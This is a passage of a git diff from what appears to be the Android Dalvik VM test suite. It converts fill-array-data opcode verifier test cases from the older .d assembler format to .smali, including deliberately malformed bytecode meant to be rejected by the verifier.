+       move v1, v7    
+       double-to-long v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d
deleted file mode 100644
index 1c97601..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_1.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali
new file mode 100644
index 0000000..da4c036
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_1;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d
deleted file mode 100644
index b462d1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_11.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali
new file mode 100644
index 0000000..657f960
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_11.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_11;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d
deleted file mode 100644
index c3ce952..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_12.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    goto Label0
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    return-void
-Label0:    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali
new file mode 100644
index 0000000..e6773f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_12.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_12;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    goto :goto_5
+
+    fill-array-data p1, :array_6
+
+    return-void
+
+    :goto_5
+    nop
+
+    :array_6
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d
deleted file mode 100644
index 0066d29..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_13.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali
new file mode 100644
index 0000000..f2fe942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_13.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_13;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d
deleted file mode 100644
index 6167ef7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_2.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([D)V
-.limit regs 10
-
-    fill-array-data v9 D
-        1.0
-        2.0
-        3.0
-        4.0
-        5.0
-    fill-array-data-end
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali
new file mode 100644
index 0000000..c4b3345
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_2;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([D)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 8
+        0x3ff0000000000000L    # 1.0
+        0x4000000000000000L    # 2.0
+        0x4008000000000000L    # 3.0
+        0x4010000000000000L    # 4.0
+        0x4014000000000000L    # 5.0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d
deleted file mode 100644
index e6ecd1e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_3.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v10 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali
new file mode 100644
index 0000000..fcfa07e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_3.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_3;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p2, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d
deleted file mode 100644
index 221ef8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_4.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D[I)V
-.limit regs 10
-    
-    fill-array-data v7 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali
new file mode 100644
index 0000000..72c34aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_4;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D[I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d
deleted file mode 100644
index cc98351..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_5.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J[I)V
-.limit regs 10
-    
-    fill-array-data v7 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali
new file mode 100644
index 0000000..ccb7f3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_5;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J[I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d
deleted file mode 100644
index 61990a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_6.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v8 I
-        0
-        0
-        0
-        0
-        0
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali
new file mode 100644
index 0000000..4031b9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_6;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p0, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x0
+        0x0
+        0x0
+        0x0
+        0x0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d
deleted file mode 100644
index 8ba5155..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_7.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Object;)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        0
-        0
-        0
-        0
-        0
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali
new file mode 100644
index 0000000..d978b67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_7;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([Ljava/lang/Object;)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x0
+        0x0
+        0x0
+        0x0
+        0x0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d
deleted file mode 100644
index e90eb86..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_8.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([D)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali
new file mode 100644
index 0000000..e3b7ce0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_8;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([D)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
